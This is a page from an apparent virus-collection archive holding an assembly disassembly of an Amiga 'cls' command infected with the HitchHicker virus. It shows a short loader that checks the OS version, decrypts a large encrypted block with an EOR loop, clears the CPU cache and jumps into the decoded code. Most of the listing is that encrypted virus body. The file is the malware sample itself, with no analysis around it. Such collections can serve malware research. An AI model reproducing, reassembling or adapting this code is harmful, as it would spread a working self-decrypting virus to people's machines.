home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
h
/
HitchHicker
/
cls.infected.asm
< prev
next >
Wrap
Assembly Source File
|
2019-12-04
|
22KB
|
935 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $3BA
EXT_0002 EQU $35B6
EXT_0003 EQU $3736
EXT_0004 EQU $1A010515
EXT_0005 EQU $1FDA56E6
EXT_0006 EQU $6F6F454C
EXT_0007 EQU $7CC03D3A
EXT_0008 EQU $8B6A3C7C
EXT_0009 EQU $C3907212
EXT_000A EQU $FFFF8B24
EXT_000B EQU $FFFFAAB6
EXT_000C EQU $FFFFEAB8
EXT_000D EQU $FFFFF29C
EXT_000E EQU $FFFFF45A
SECTION S_0,CODE
SECSTRT_0:
BSR LAB_0005 ;000: 6100004A
LEA LAB_0003(PC),A1 ;004: 43FA0034
MOVE.L #$0000001F,D0 ;008: 203C0000001F
JSR -552(A6) ;00E: 4EAEFDD8
MOVEA.L D0,A6 ;012: 2C40
BEQ.S LAB_0002 ;014: 6720
JSR -60(A6) ;016: 4EAEFFC4
MOVE.L D0,D1 ;01A: 2200
LEA LAB_0004(PC),A0 ;01C: 41FA0028
MOVE.L A0,D2 ;020: 2408
MOVEQ #4,D3 ;022: 7604
JSR -48(A6) ;024: 4EAEFFD0
TST.L D0 ;028: 4A80
BMI.S LAB_0001 ;02A: 6B04
MOVEQ #0,D0 ;02C: 7000
LAB_0000:
BRA.S LAB_0006 ;02E: 602C
LAB_0001:
JSR -132(A6) ;030: 4EAEFF7C
BRA.S LAB_0000 ;034: 60F8
LAB_0002:
MOVEQ #20,D0 ;036: 7014
BRA.S LAB_0006 ;038: 6022
LAB_0003:
DC.W $646F ;03A
DC.W $732E ;03C
DC.W $6C69 ;03E
BHI.S LAB_000A+2 ;040: 6272
BSR.S LAB_000B ;042: 6172
DC.W $7900 ;044
LAB_0004:
SUBX -(A0),-(A5) ;046: 9B48
SUBX -(A2),-(A5) ;048: 9B4A
DC.W $0000 ;04A
LAB_0005:
MOVE.L (ABSEXECBASE).W,-(A7) ;04C: 2F380004
MOVEA.L (A7)+,A6 ;050: 2C5F
CMPI #$0025,20(A6) ;052: 0C6E00250014
BCC.S LAB_0006 ;058: 6402
RTS ;05A: 4E75
LAB_0006:
MOVEM.L D0-D7/A0-A6,-(A7) ;05C: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A1 ;060: 22780004
MOVEA.L A1,A6 ;064: 2C49
CMPI #$0025,20(A6) ;066: 0C6E00250014
BCS.S LAB_0008 ;06C: 651A
MOVEQ #41,D0 ;06E: 7029
MOVE #$06F5,D1 ;070: 323C06F5
MOVEQ #1,D2 ;074: 7401
LEA LAB_0009(PC),A1 ;076: 43FA0016
LAB_0007:
EOR.B D0,(A1)+ ;07A: B119 decode something
SUB.B D2,D0 ;07C: 9002
DBF D1,LAB_0007 ;07E: 51C9FFFA
JSR -636(A6) ;082: 4EAEFD84 CacheClearU
BRA.S LAB_0009 ;086: 6006
LAB_0008:
MOVEM.L (A7)+,D0-D7/A0-A6 ;088: 4CDF7FFF
RTS ;08C: 4E75
LAB_0009:
DC.W $2586 ;08E
OR.L (A4)+,D6 ;090: 8C9C
ADD.L D7,(A0) ;092: DF90
MOVE.L -(A0),-(A0) ;094: 2120
NOT.B (A2)+ ;096: 461A
DC.W $13B0 ;098
DC.W $A7C0 ;09A
DC.W $16F7 ;09C
MOVE.B (A2)+,-(A5) ;09E: 1B1A
MOVEQ #38,D0 ;0A0: 7026
MOVE 4882(A0),-(A2) ;0A2: 35281312
ANDI.L #$7D0C43A2,(A0)+ ;0A6: 02987D0C43A2
DC.W $F430 ;0AC
DC.W $4388 ;0AE
BRA.S LAB_000C ;0B0: 6026
LAB_000A:
MOVE.L D4,16632(A0) ;0B2: 214440F8
LAB_000B:
DC.W $FE96 ;0B6
MULS D2,D6 ;0B8: CDC2
DC.W $FC08 ;0BA
ADD.B D7,-(A3) ;0BC: DF23
DC.W $A831 ;0BE
DC.W $080A ;0C0
ADD.L D2,8(A4,A3.W) ;0C2: D5B4B008
DC.W $F1D4 ;0C6
DC.W $AA14 ;0C8
DC.W $126E ;0CA
MOVEQ #32,D4 ;0CC: 7820
MOVE -(A0),D5 ;0CE: 3A20
DC.W $A977 ;0D0
DC.W $A61E ;0D2
DC.W $1C78 ;0D4
DC.W $F29C ;0D6
LAB_000C:
ADDA.L (A6)+,A7 ;0D8: DFDE
ADDA.L (A5)+,A6 ;0DA: DDDD
ASR.L D4,D6 ;0DC: E8A6
ADDA.L (A0)+,A4 ;0DE: D9D8
ADDA.L (A2),A3 ;0E0: D7D2
AND.L -11310(A0),D3 ;0E2: C6A8D3D2
ADDA.L (A7),A0 ;0E6: D1D7
DC.W $AF50 ;0E8
DC.W $8436 ;0EA
EXG A6,A6 ;0EC: CD4E
OR D5,(A4) ;0EE: 8B54
OR.L D2,(A2) ;0F0: 8592
DC.W $803E ;0F2
MULS -(A2),D2 ;0F4: C5E2
DC.W $A0E8 ;0F6
DC.W $DEBE ;0F8
CMP.B -9544(A4),D4 ;0FA: B82CDAB8
DC.W $F7CD ;0FE
DC.W $F44C ;100
CMP (A4)+,D0 ;102: B05C
SUBA.L A2,A7 ;104: 9FCA
DC.W $B1B4 ;106
DIVS D0,D7 ;108: 8FC0
DC.W $ACD6 ;10A
ASL.B #2,D4 ;10C: E504
SUBQ #3,D4 ;10E: 5744
ASL.B D6,D6 ;110: ED26
AND.L -8104(A6),D1 ;112: C2AEE058
DC.W $A796 ;116
EOR.B D6,(A6)+ ;118: BD1E
CMPA.L (A4)+,A7 ;11A: BFDC
DC.W $FA84 ;11C
DC.W $D7ED ;11E
ROXL.L #3,D1 ;120: E791
SUB.L D4,-(A6) ;122: 99A6
SUB.L D1,-26224(A3) ;124: 93AB9990
LSR.L #4,D0 ;128: E888
DC.W $DFBE ;12A
DC.W $838A ;12C
DC.W $C7FD ;12E
DC.W $923A ;130
DC.W $85B4 ;132
DC.W $8B82 ;134
ADD A0,D0 ;136: D048
OR.L (A4),D0 ;138: 8094
MOVE A1,-(A1) ;13A: 3309
DC.W $7713 ;13C
MOVE D1,28(A3,A0.L) ;13E: 3781881C
MOVE.B -(A4),13448(A1) ;142: 13643488
MOVEQ #-124,D1 ;146: 7284
MOVE.L (A4),(A5) ;148: 2A94
BMI.S LAB_000F+2 ;14A: 6B6A
DC.W $4FC3 ;14C
SUB.B D4,D3 ;14E: 9604
NEG.B -26104(A5) ;150: 442D9A08
DC.W $6F0B ;154
MOVE.L (A1)+,-114(A7,A2.W) ;156: 2F99A08E
MOVE A4,7328(A5) ;15A: 3B4C1CA0
DC.W $5AB2 ;15E
MOVE.B 20646(A4),(A1) ;160: 12AC50A6
DC.W $77FB ;164
DC.W $AE82 ;166
DC.W $6C05 ;168
CMP.L (A6)+,D1 ;16A: B29E
MOVEA.L D0,A5 ;16C: 2A40
BCC.S LAB_000E ;16E: 6434
DC.W $FD9A ;170
DC.W $48A9 ;172
DC.W $4140 ;174
DC.W $0F35 ;176
DC.W $7DBE ;178
DC.W $1D75 ;17A
BTST D5,(A2) ;17C: 0B12
MOVE -10882(A0),-(A4) ;17E: 3928D57E
DC.W $4734 ;182
DC.W $5330 ;184
LAB_000D:
ROXL #1,D0 ;186: E350
MOVEQ #-26,D7 ;188: 7EE6
ADDA (A0),A1 ;18A: D2D0
DC.W $186B ;18C
DC.W $2934 ;18E
DC.W $6953 ;190
BCHG D4,(A6)+ ;192: 095E
MOVE.L (A2)+,(A3) ;194: 269A
BCHG D1,-(A1) ;196: 0361
SGE -(A4) ;198: 5CE4
MOVE.B -(A2),(A4) ;19A: 18A2
DC.W $399B ;19C
BLT.S LAB_000D ;19E: 6DE6
SUBQ.L #4,(EXT_000C).W ;1A0: 59B8EAB8
LAB_000E:
SUBQ.L #4,(A2) ;1A4: 5992
MOVEQ #16,D3 ;1A6: 7610
DC.W $0E20 ;1A8
MOVE.L A4,-(A7) ;1AA: 2F0C
DC.W $48F0 ;1AC
DC.W $0CBE ;1AE
DC.W $2587 ;1B0
DC.W $213E ;1B2
LAB_000F:
ADDI.L #$4FAE0070,-18564(A2) ;1B4: 06AA4FAE0070B77C
DC.W $9CFA ;1BC
DC.W $F8E0 ;1BE
ADDX.L -(A4),-(A2) ;1C0: D58C
DC.W $F06E ;1C2
DC.W $FF5B ;1C4
DC.W $F1F0 ;1C6
ROL.L D7,D4 ;1C8: EFBC
DC.W $EDE4 ;1CA
DIVS -5920(A2),D6 ;1CC: 8DEAE8E0
DC.W $C7CF ;1D0
DC.W $E5E8 ;1D2
DC.W $734B ;1D4
DC.W $E1F0 ;1D6
BLE.S LAB_0014 ;1D8: 6F62
ADDA.L (A4)+,A6 ;1DA: DDDC
ADDA.L (A0),A5 ;1DC: DBD0
CMPA (A0)+,A6 ;1DE: BCD8
ADD.B D3,-(A0) ;1E0: D720
DC.W $FAFD ;1E2
LAB_0010:
ADDA.L (A6)+,A1 ;1E4: D3DE
DC.W $F3EA ;1E6
DC.W $CAB2 ;1E8
DC.W $E9C5 ;1EA
OR D2,-(A4) ;1EC: 8564
MOVEA (A2),A3 ;1EE: 3652
ROL.L D2,D4 ;1F0: E5BC
DC.W $C0AE ;1F2
ASL (A5)+ ;1F4: E1DD
DC.W $737C ;1F6
DC.W $BFBE ;1F8
DC.W $A2FC ;1FA
DC.W $DFB4 ;1FC
EOR.B D2,(A1) ;1FE: B511
DC.W $B7B6 ;200
DC.W $35B4 ;202
CMPA.L A6,A1 ;204: B3CE
DC.W $D5B0 ;206
DC.W $AF60 ;208
AND.L D6,-(A0) ;20A: CDA0
DC.W $A703 ;20C
LAB_0011:
DC.W $A9AA ;20E
DC.W $A7A6 ;210
DC.W $A5D8 ;212
AND.L D3,-(A2) ;214: C7A2
DC.W $A160 ;216
ADD -(A4),D5 ;218: DA64
SUBA A6,A4 ;21A: 98CE
DC.W $BF33 ;21C
SUBA.L -(A4),A4 ;21E: 99E4
EOR.L D2,-28458(A4) ;220: B5AC90D6
DC.W $DD3C ;224
BGT.S LAB_0015 ;226: 6E36
DC.W $ADB4 ;228
OR.L -(A2),D4 ;22A: 88A2
LAB_0012:
ABCD -(A0),-(A4) ;22C: C908
AND.B D3,-(A6) ;22E: C726
MOVEQ #-64,D4 ;230: 78C0
DC.W $A9FC ;232
DC.W $8386 ;234
DC.W $F381 ;236
LAB_0013:
SUBQ #7,D4 ;238: 5F44
MOVEQ #78,D4 ;23A: 784E
LAB_0014:
SUBQ #7,D0 ;23C: 5F40
MOVEQ #90,D6 ;23E: 7C5A
DC.W $A7F4 ;240
DC.W $3BDA ;242
DC.W $8C48 ;244
DC.W $3BF0 ;246
DC.W $086E ;248
BLT.S LAB_0012 ;24A: 6DE0
MOVE.L (A0),(A4) ;24C: 2890
BGE.S LAB_0017 ;24E: 6C72
DC.W $45E6 ;250
DC.W $4158 ;252
BLS.S LAB_0016+2 ;254: 6362
BHI.S LAB_0010 ;256: 628C
DC.W $7D64 ;258
SUBQ.L #4,-(A2) ;25A: 59A2
DC.W $7720 ;25C
LAB_0015:
DC.W $5DB6 ;25E
DC.W $19F8 ;260
DC.W $AAB6 ;262
DC.W $19D2 ;264
MOVE A6,D3 ;266: 360E
DC.W $0CB4 ;268
DC.W $49B6 ;26A
BVS.S LAB_0013 ;26C: 69CA
BMI.S LAB_0016+2 ;26E: 6B48
BLS.S LAB_0019 ;270: 637C
DC.W $41B2 ;272
BMI.S LAB_0019 ;274: 6B78
CHK -5190(A2),D2 ;276: 45AAEBBA
MOVE.B D6,-(A5) ;27A: 1B06
DC.W $3FCA ;27C
DC.W $7796 ;27E
MULU -(A0),D4 ;280: C8E0
DC.W $170E ;282
DC.W $37D2 ;284
DC.W $4530 ;286
SVS (A1) ;288: 59D1
BLS.S LAB_0011 ;28A: 6382
ADD.L (A4),D2 ;28C: D494
DC.W $487A ;28E
DC.W $4130 ;290
BTST D3,(A6)+ ;292: 071E
DC.W $27F2 ;294
BTST D2,(A2)+ ;296: 051A
DC.W $1BCE ;298
MOVE -(A6),-(A5) ;29A: 3B26
DC.W $1FCA ;29C
MOVE -(A2),-(A0) ;29E: 3122
MOVE.B (A6),EXT_0009 ;2A0: 13D6C3907212
DC.W $139E ;2A6
DC.W $2D34 ;2A8
DC.W $09B6 ;2AA
CHK -(A4),D2 ;2AC: 45A4
DC.W $F6D4 ;2AE
BNE.S LAB_0018 ;2B0: 6620
MOVE.L 886(A5),-(A0) ;2B2: 212D0376
LAB_0016:
CHK 184(A6),D7 ;2B6: 4FAE00B8
SUBA -(A0),A6 ;2BA: 9CE0
CMP.B (A3),D4 ;2BC: B813
DC.W $F97C ;2BE
DC.W $D3FF ;2C0
LAB_0017:
EOR D5,(A2)+ ;2C2: BB5A
BCLR D6,D6 ;2C4: 0D86
ADDX.L -(A0),-(A6) ;2C6: DD88
DC.W $EFEA ;2C8
MULS (A6),D6 ;2CA: CDD6
LSL #7,D2 ;2CC: EF4A
AND.L D5,(A2) ;2CE: CB92
ROL D1,D6 ;2D0: E37E
LAB_0018:
DC.W $AB4A ;2D2
DC.W $1CCC ;2D4
DC.W $AF95 ;2D6
DC.W $FDA4 ;2D8
ADD D4,(A6)+ ;2DA: D95E
DC.W $F9E0 ;2DC
ADD.L D6,-(A2) ;2DE: DDA2
SUB.L D4,-(A3) ;2E0: 99A3
DC.W $F7AE ;2E2
ADD D3,(A6) ;2E4: D756
DC.W $F599 ;2E6
DC.W $EDF4 ;2E8
DC.W $C9BA ;2EA
DC.W $1E0B ;2EC
LAB_0019:
DC.W $EBE2 ;2EE
DC.W $C7CE ;2F0
SUBX D5,D3 ;2F2: 9745
CMPA.L D6,A3 ;2F4: B7C6
ROL.B #1,D2 ;2F6: E31A
ROXR D7,D4 ;2F8: EE74
CLR D0 ;2FA: 4240
SUB D4,-(A0) ;2FC: 9960
ROXR D4,D1 ;2FE: E871
DC.W $484A ;300
EOR.B D4,(A5)+ ;302: B91D
DC.W $B3B2 ;304
CMP (A1)+,D1 ;306: B259
ADDQ #8,(A6) ;308: 5056
DC.W $CAA8 ;30A
ADD D5,(A5) ;30C: DB55
ROL (A5)+ ;30E: E7DD
DC.W $858F ;310
ADDQ #5,(A0)+ ;312: 5A58
DC.W $8FAB ;314
OR.L D3,-(A1) ;316: 87A1
AND.B (A7)+,D6 ;318: CC1F
EOR D7,D6 ;31A: BF46
AND (A3),D5 ;31C: CA53
BNE.S LAB_001C+4 ;31E: 6664
EOR.L D2,-28246(A4) ;320: B5AC91AA
DC.W $77DB ;324
EOR.L D2,(A1) ;326: B591
DC.W $DC0F ;328
DC.W $CA76 ;32A
DIVS (A2),D7 ;32C: 8FD2
DC.W $A181 ;32E
DC.W $A55D ;330
ADD A5,D2 ;332: D44D
MOVEQ #126,D6 ;334: 7C7E
DC.W $A3C6 ;336
LAB_001A:
SUBQ.B #5,D4 ;338: 5B04
DC.W $7952 ;33A
MOVE (A0),(A7) ;33C: 3E90
DC.W $796C ;33E
DC.W $1676 ;340
MOVEQ #120,D3 ;342: 7678
DC.W $5B3B ;344
DC.W $5F74 ;346
DIVU 3436(A5),D6 ;348: 8CED0D6C
BVS.S LAB_001A ;34C: 69EA
MOVE.L A7,-104(A0,D1.L) ;34E: 218F1898
MOVE.L (A6)+,(A1) ;352: 229E
BEQ.S LAB_001E+2 ;354: 6772
DC.W $47E1 ;356
MOVEQ #29,D4 ;358: 781D
SUBQ #6,(A4) ;35A: 5D54
DC.W $7918 ;35C
DC.W $7D11 ;35E
DC.W $7F6C ;360
SUBQ #8,(A2)+ ;362: 515A
MOVE (A2),20548(A2) ;364: 35525044
DC.W $43DF ;368
DC.W $4D4C ;36A
LAB_001B:
MOVEM D1-D3/D5/A0-A3/A5,EXT_0006 ;36C: 48B92F2E6F6F454C
BVS.S LAB_001D+2 ;374: 6946
DC.W $1BC4 ;376
DC.W $61BB ;378
ADD.L EXT_0007,D4 ;37A: D8B97CC03D3A
LAB_001C:
MOVE.B -80(A3,A5.W),-10(A0,A6.W) ;380: 11B3D0B0E0F6
DC.W $3DA1 ;386
DC.W $2F2E ;388
MOVE.L D5,(A7)+ ;38A: 2EC5
DC.W $4D62 ;38C
BTST D0,D1 ;38E: 0101
MOVE.L -(A2),-(A3) ;390: 2722
AND.L -(A0),D0 ;392: C0A0
DC.W $FBA7 ;394
BNE.S LAB_001B+6 ;396: 66DA
DC.W $1CFA ;398
SUBQ.L #7,A7 ;39A: 5F8F
SGE -(A0) ;39C: 5CE0
MOVE.B D2,(A5)+ ;39E: 1AC2
DC.W $3192 ;3A0
MOVEQ #110,D2 ;3A2: 746E
SUBQ.L #4,(A2) ;3A4: 5992
MOVEQ #62,D3 ;3A6: 763E
DC.W $2B34 ;3A8
DC.W $0EB2 ;3AA
SUBA D0,A4 ;3AC: 98C0
MOVE.L A2,-11060(A6) ;3AE: 2D4AD4CC
EOR.L D1,D0 ;3B2: B380
BNE.S LAB_001F ;3B4: 6646
MOVE.L D4,-(A3) ;3B6: 2704
EOR.B D3,(A1)+ ;3B8: B719
LAB_001D:
DIVU #$9AFA,D1 ;3BA: 82FC9AFA
DC.W $F804 ;3BE
DC.W $90EA ;3C0
EOR.B D4,-3316(A3) ;3C2: B92BF30C
LAB_001E:
EOR.B D6,-28656(A7) ;3C6: BD2F9010
DIVU -5502(A4),D6 ;3CA: 8CECEA82
DIVU -6286(A0),D4 ;3CE: 88E8E772
MULS -(A7),D2 ;3D2: C5E7
DC.W $AD97 ;3D4
DC.W $AD3F ;3D6
DC.W $A020 ;3D8
CMPA.L (A4)+,A6 ;3DA: BDDC
ADD.L D2,D5 ;3DC: DA82
OR D4,(A1) ;3DE: 8951
DC.W $923C ;3E0
ADDA.L D0,A2 ;3E2: D5C0
CMPA (A2),A1 ;3E4: B2D2
DC.W $D3B8 ;3E6
OR.B D1,(A1) ;3E8: 8311
DC.W $CD32 ;3EA
DC.W $AACA ;3EC
DC.W $C8BE ;3EE
DC.W $A6B4 ;3F0
OR.B D4,(A3)+ ;3F2: 891B
DC.W $BC3C ;3F4
DC.W $E1C3 ;3F6
DC.W $F1CB ;3F8
DC.W $073F ;3FA
LAB_001F:
DC.W $DF72 ;3FC
DC.W $5D35 ;3FE
ROXR.B D2,D3 ;400: E433
MOVEP -19534(A0),D7 ;402: 0F08B3B2
CMP.L (A4)+,D0 ;406: B09C
AND.B D5,(A2) ;408: CB12
ROXR #5,D6 ;40A: EA56
DC.W $A8CE ;40C
OR.B D7,-32292(A1) ;40E: 8F2981DC
DC.W $A6EE ;412
DIVS -(A0),D5 ;414: 8BE0
DC.W $877C ;416
AND (A3),D7 ;418: CE53
BHI.S LAB_0022 ;41A: 6260
DC.W $FBE4 ;41C
DC.W $D17F ;41E
LSR D4,D0 ;420: E868
CMPA.L -27754(A4),A4 ;422: B9EC9396
EOR.L D0,(A3) ;426: B193
DC.W $FD8F ;428
AND.B D1,-(A2) ;42A: C322
MOVEQ #-80,D2 ;42C: 74B0
ABCD -(A0),-(A1) ;42E: C308
LSR.L D0,D2 ;430: E0AA
AND D4,(A3) ;432: C953
DC.W $FC7C ;434
DC.W $C67A ;436
MOVEQ #64,D6 ;438: 7C40
MOVE 21312(A7),-(A7) ;43A: 3F2F5340
MOVEQ #70,D5 ;43E: 7A46
DC.W $95FA ;440
DC.W $1172 ;442
DC.W $2132 ;444
DC.W $47CC ;446
SUB.L (A1),D0 ;448: 9091
MOVE.L (A6),(A5) ;44A: 2A96
BVC.S LAB_0025 ;44C: 6876
DC.W $4FA8 ;44E
DC.W $41E5 ;450
DC.W $4324 ;452
DC.W $4B20 ;454
MOVE -(A3),(A1)+ ;456: 32E3
CHK D2,D4 ;458: 4982
LAB_0020:
CMPI.L #$A4A61587,(A7) ;45A: 0C97A4A61587
DC.W $28A8 ;460
MOVE.B -(A1),-(A5) ;462: 1B21
MOVEQ #92,D6 ;464: 7C5C
DC.W $7D28 ;466
DC.W $4F4A ;468
BLE.S LAB_0023+2 ;46A: 6F36
DC.W $49B6 ;46C
BVS.S LAB_0026 ;46E: 6972
DC.W $45BA ;470
LAB_0021:
BSET D5,-17300(A2) ;472: 0BEABC6C
DC.W $6D1F ;476
DC.W $714B ;478
DC.W $85BD ;47A
LAB_0022:
DC.W $5D3A ;47C
AND -(A0),D3 ;47E: C660
ADDQ.L #3,32692(A2) ;480: 56AA7FB4
SUBQ.B #2,-(A4) ;484: 5524
MOVEP 11714(A2),D0 ;486: 010A2DC2
DC.W $4B26 ;48A
BGE.S LAB_0020+4 ;48C: 6CD0
DC.W $2BCA ;48E
DC.W $65B5 ;490
DC.W $4524 ;492
ADD -(A0),D6 ;494: DC60
BNE.S LAB_0021 ;496: 66DA
DC.W $1DCE ;498
DC.W $3B9E ;49A
MOVE -(A0),-(A7) ;49C: 3F20
DC.W $1BD2 ;49E
LAB_0023:
ST 6094(A4) ;4A0: 50EC17CE
MOVE D1,-(A5) ;4A4: 3B01
AND.L D4,(A3) ;4A6: C993
DC.W $298A ;4A8
DC.W $2736 ;4AA
BSET D4,D6 ;4AC: 09C6
CMPM.L (A5)+,(A0)+ ;4AE: B18D
BHI.S LAB_0024 ;4B0: 6206
BSET D2,(A4) ;4B2: 05D4
MOVE (EXT_0001).W,CCR ;4B4: 44F803BA
LAB_0024:
DC.W $BD6D ;4B8
DC.W $6579 ;4BA
BLT.S LAB_0029 ;4BC: 6D7E
CMP.B D2,D7 ;4BE: BE02
DC.W $F54E ;4C0
DC.W $D377 ;4C2
LAB_0025:
DC.W $DDF0 ;4C4
DC.W $2F73 ;4C6
AND.L D3,-29460(A4) ;4C8: C7AC8CEC
ROXL.B #5,D4 ;4CC: EB14
DC.W $A368 ;4CE
DIVU -10786(A4),D0 ;4D0: 80ECD5DE
ASL #8,D2 ;4D4: E142
DIVS -(A4),D3 ;4D6: 87E4
CMPA.L (A6)+,A7 ;4D8: BFDE
DC.W $2330 ;4DA
SUB.B -(A0),D6 ;4DC: 9C20
ADDX -(A6),-(A5) ;4DE: DB4E
SUBX.L D5,D2 ;4E0: 9585
LAB_0026:
DC.W $F3EE ;4E2
ADDX D6,D0 ;4E4: D146
CMP.L -20830(A4),D0 ;4E6: B0ACAEA2
ROXL.L D0,D6 ;4EA: E1B6
AND.L D4,-29878(A2) ;4EC: C9AA8B4A
EOR.B D0,EXT_0008 ;4F0: B1398B6A3C7C
DC.W $863A ;4F6
LAB_0027:
DC.W $BD3E ;4F8
DC.W $9B3C ;4FA
ADDA -(A2),A5 ;4FC: DAE2
SUBA.L D2,A6 ;4FE: 9DC2
CMPA.L -26626(A2),A2 ;500: B5EA97FE
SUB.L D3,(EXT_000E).W ;504: 97B8F45A
DC.W $AFBA ;508
OR.L D5,(A6) ;50A: 8B96
DC.W $A9DE ;50C
MOVEQ #107,D5 ;50E: 7A6B
AND.L -(A6),D3 ;510: C6A6
DC.W $A498 ;512
AND.L #$C09EBBA4,D1 ;514: C2BCC09EBBA4
SUBA.L D2,A7 ;51A: 9FC2
ASL D6,D5 ;51C: ED65
ADD.B D3,40(A6,D6.L) ;51E: D7366828
DC.W $F494 ;522
BGE.S LAB_0027 ;524: 6CD2
ADDX -(A7),-(A6) ;526: DD4F
DC.W $F070 ;528
DC.W $AD8F ;52A
DC.W $C5FF ;52C
DC.W $A6B2 ;52E
OR.L D2,-(A6) ;530: 85A6
DC.W $CBF1 ;532
DC.W $ACB8 ;534
LAB_0028:
OR.L D1,(A6)+ ;536: 839E
MOVE A3,-(A0) ;538: 310B
DC.W $359B ;53A
LAB_0029:
OR.L D4,D2 ;53C: 8484
DC.W $1878 ;53E
OR.B D5,-(A4) ;540: 8B24
DC.W $39AB ;542
DC.W $0C8D ;544
DC.W $1196 ;546
DC.W $2789 ;548
MOVE.B (A2),(A1) ;54A: 1292
DC.W $0A6A ;54C
DC.W $9768 ;54E
DC.W $2BB9 ;550
MOVE.B (A2)+,(A5) ;552: 1A9A
MOVE.L (A7),-(A6) ;554: 2D17
DC.W $435A ;556
SUBQ #6,(A2) ;558: 5D52
DC.W $7966 ;55A
SUBQ #4,(A6) ;55C: 5956
DC.W $7F62 ;55E
SUBQ #2,(A2)+ ;560: 555A
MOVE.B -(A1),-(A5) ;562: 1B21
MOVE (A4)+,(A1) ;564: 329C
DC.W $30BE ;566
DC.W $08B4 ;568
DC.W $4F56 ;56A
DC.W $6F41 ;56C
BLE.S LAB_002B ;56E: 6F72
DC.W $46B6 ;570
MOVE.L D4,(A2) ;572: 2484
MOVE.L -(A2),(A1) ;574: 22A2
BVS.S LAB_002C ;576: 697A
DC.W $3D3E ;578
ROL.L D4,D0 ;57A: E9B8
DC.W $ADBE ;57C
ADDQ.L #4,A4 ;57E: 588C
DC.W $7943 ;580
DC.W $1B31 ;582
DC.W $ADB6 ;584
DC.W $8F8C ;586
DC.W $2F2E ;588
SHI (A3) ;58A: 52D3
DC.W $4F2A ;58C
ADD.B D3,(A0) ;58E: D710
BTST D4,-(A4) ;590: 0924
DC.W $FBA1 ;592
DC.W $FDA1 ;594
EOR.L D7,-(A4) ;596: BFA4
MOVE (A4)+,31794(A3) ;598: 375C7C32
DC.W $7D1A ;59C
ROXL.B D3,D0 ;59E: E730
ST 5318(A4) ;5A0: 50EC14C6
DC.W $25AE ;5A4
DC.W $EEEF ;5A6
LEA (A1),A1 ;5A8: 43D1
MOVEQ #-14,D1 ;5AA: 72F2
MOVE.L -78(A0,D0.L),-(A7) ;5AC: 2F3008B2
BNE.S LAB_0028 ;5B0: 6684
BCC.S LAB_002A ;5B2: 6404
DC.W $FDB2 ;5B4
MOVE.L D3,-(A0) ;5B6: 2103
LAB_002A:
CMPM.L (A3)+,(A0)+ ;5B8: B18B
ADDA.L D6,A2 ;5BA: D5C6
DC.W $FA46 ;5BC
CMP.B (A1),D0 ;5BE: B011
DC.W $F7FE ;5C0
DC.W $DBF8 ;5C2
DC.W $6B77 ;5C4
DC.W $2F74 ;5C6
DC.W $C9EA ;5C8
BCHG D7,-(A7) ;5CA: 0F67
SUB.B D5,(A4) ;5CC: 9B14
ADDA.L (A2),A1 ;5CE: D3D2
ASR #3,D0 ;5D0: E640
DIVU -(A6),D1 ;5D2: 82E6
EOR D0,-4748(A6) ;5D4: B16EED74
DC.W $F3A6 ;5D8
ADDA.L (A0)+,A6 ;5DA: DDD8
DC.W $BCF4 ;5DC
ADDX -(A4),-(A2) ;5DE: D54C
DC.W $FBAF ;5E0
LAB_002B:
ADDA.L (A4),A2 ;5E2: D5D4
CMPA -8828(A2),A2 ;5E4: B4EADD84
DC.W $81BB ;5E8
DC.W $AAC6 ;5EA
SUBX D6,D7 ;5EC: 9F46
SUB.B D3,D4 ;5EE: 9803
MOVE -(A0),D4 ;5F0: 3820
LAB_002C:
DC.W $8F44 ;5F2
OR.L D6,-126(A7,A2.W) ;5F4: 8DB7A082
BTST D2,D2 ;5F8: 0502
DC.W $BDBC ;5FA
CMPA.L (A5),A5 ;5FC: BBD5
ADD D6,(A4) ;5FE: DD54
DC.W $B1F3 ;600
EOR.L D2,-(A4) ;602: B5A4
DC.W $AB4E ;604
CMPA.L (A0),A0 ;606: B1D0
EOR D3,-12896(A3) ;608: B76BCDA0
AND.L D6,D5 ;60C: CA86
MOVE.B (A4),-(A1) ;60E: 1314
DC.W $A7A6 ;610
ADD (A3)+,D5 ;612: DA5B
AND D3,-114(A4,A4.W) ;614: C774C08E
ADD.B D6,(A6)+ ;618: DD1E
AND.B (A7)+,D7 ;61A: CE1F
DC.W $FB54 ;61C
DC.W $95F4 ;61E
SUB.L D3,(A2) ;620: 9792
SUB.L D2,(A0) ;622: 9590
DC.W $F554 ;624
DC.W $F082 ;626
DC.W $3532 ;628
DC.W $8D8C ;62A
DC.W $F475 ;62C
ROXL.B D6,D4 ;62E: ED34
ROXR.L #3,D2 ;630: E692
DC.W $BCF8 ;632
DC.W $CDF3 ;634
DC.W $8182 ;636
DC.W $1FA0 ;638
MOVE (A0),(A5) ;63A: 3A90
DC.W $7B78 ;63C
DC.W $5573 ;63E
DC.W $5D71 ;640
DC.W $EFF2 ;642
MOVE D7,-(A6) ;644: 3D07
DC.W $498C ;646
DC.W $0E6E ;648
SCS 9503(A1) ;64A: 55E9251F
DC.W $4752 ;64E
BNE.S LAB_002F ;650: 6676
DC.W $81EB ;652
DC.W $494B ;654
SUB.L (A4)+,D7 ;656: 9E9C
DC.W $7344 ;658
ROXR.L #4,D5 ;65A: E895
MOVEA A2,A6 ;65C: 3C4A
SMI (A6)+ ;65E: 5BDE
DC.W $48A9 ;660
LAB_002D:
DC.W $AAAB ;662
DC.W $EFD7 ;664
MOVEA (A2),A3 ;666: 3652
DC.W $2FA0 ;668
SUBA -(A6),A1 ;66A: 92E6
DC.W $B4B6 ;66C
SUBA -(A1),A3 ;66E: 96E1
DC.W $B8BA ;670
LAB_002E:
DC.W $0B31 ;672
BSET D0,D2 ;674: 01C2
DC.W $5179 ;676
DC.W $3FE1 ;678
DC.W $CD3B ;67A
SGE D2 ;67C: 5CC2
MOVE.B (EXT_0002).W,-(A1) ;67E: 133835B6
DC.W $3534 ;682
DC.W $333D ;684
DC.W $D4B0 ;686
DC.W $615B ;688
BGT.S LAB_002D ;68A: 6ED6
ADDA 27858(A2),A1 ;68C: D2EA6CD2
DC.W $27D2 ;690
BHI.S LAB_002E ;692: 62DE
MOVE.L 26842(A6),EXT_0005 ;694: 23EE68DA1FDA56E6
LSR 30924(A0) ;69C: E2E878CC
SNE -4903(A4) ;6A0: 56ECECD9
BCLR D1,(A7) ;6A4: 0397
MOVE (A2)+,-(A2) ;6A6: 351A
